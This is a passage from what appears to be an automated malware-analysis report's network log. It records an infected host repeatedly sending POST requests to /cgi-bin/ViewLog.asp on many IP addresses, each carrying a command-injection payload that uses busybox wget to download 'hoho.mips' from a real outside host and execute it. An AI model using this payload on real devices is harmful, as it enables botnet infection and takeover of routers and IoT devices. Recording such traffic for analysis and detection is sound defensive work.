                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:03.608009100 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                551192.168.2.156022231.136.167.418080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:26.767122030 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:27.352993011 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:28.504945993 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:30.840922117 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:35.448797941 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:44.668523073 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:03.608000040 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                552192.168.2.154893094.122.88.468080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:26.857681990 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                553192.168.2.154223662.150.216.428080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:27.008263111 CET167INHTTP/1.1 400 Bad Request
                                                Connection: close
                                                Content-Type: text/plain
                                                Transfer-Encoding: chunked


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                554192.168.2.154918431.220.60.1338080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:27.305577040 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:27.650346994 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:27.760792017 CET348INHTTP/1.1 401 Unauthorized
                                                X-Powered-By: Express
                                                Access-Control-Allow-Origin: *
                                                Content-Type: text/html; charset=utf-8
                                                Content-Length: 13
                                                ETag: W/"d-ZDQ6g62MC44nicMspasetqu2FOA"
                                                Date: Thu, 23 Nov 2023 04:22:27 GMT
                                                Connection: keep-alive
                                                Keep-Alive: timeout=5
                                                Data Raw: 41 63 63 65 73 73 20 64 65 6e 69 65 64
                                                Data Ascii: Access denied


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                555192.168.2.154173031.136.5.238080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:27.376846075 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:30.584912062 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:36.728760004 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:48.760536909 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:13.847778082 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                556192.168.2.153559694.65.200.358080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:27.411928892 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                557192.168.2.155755694.120.162.1078080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:27.423458099 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                558192.168.2.154765695.86.102.728080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:27.425918102 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                559192.168.2.154834031.202.58.318080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:27.806381941 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                560192.168.2.154834231.202.58.318080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:28.268326998 CET434INHTTP/1.0 400 Bad Request
                                                Content-Type: text/html
                                                Server: httpd
                                                Date: Thu, 01 Jan 1970 01:31:15 GMT
                                                Connection: close
                                                Cache-Control: no-store, no-cache, must-revalidate
                                                Cache-Control: post-check=0, pre-check=0
                                                Pragma: no-cache
                                                Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a
                                                Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.</BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                561192.168.2.155586094.254.25.878080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:31.121731997 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:31.316591978 CET680INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: en
                                                Content-Length: 431
                                                Date: Thu, 23 Nov 2023 04:22:31 GMT
                                                Keep-Alive: timeout=5
                                                Connection: keep-alive
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                562192.168.2.155755294.120.155.508080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:31.156795025 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
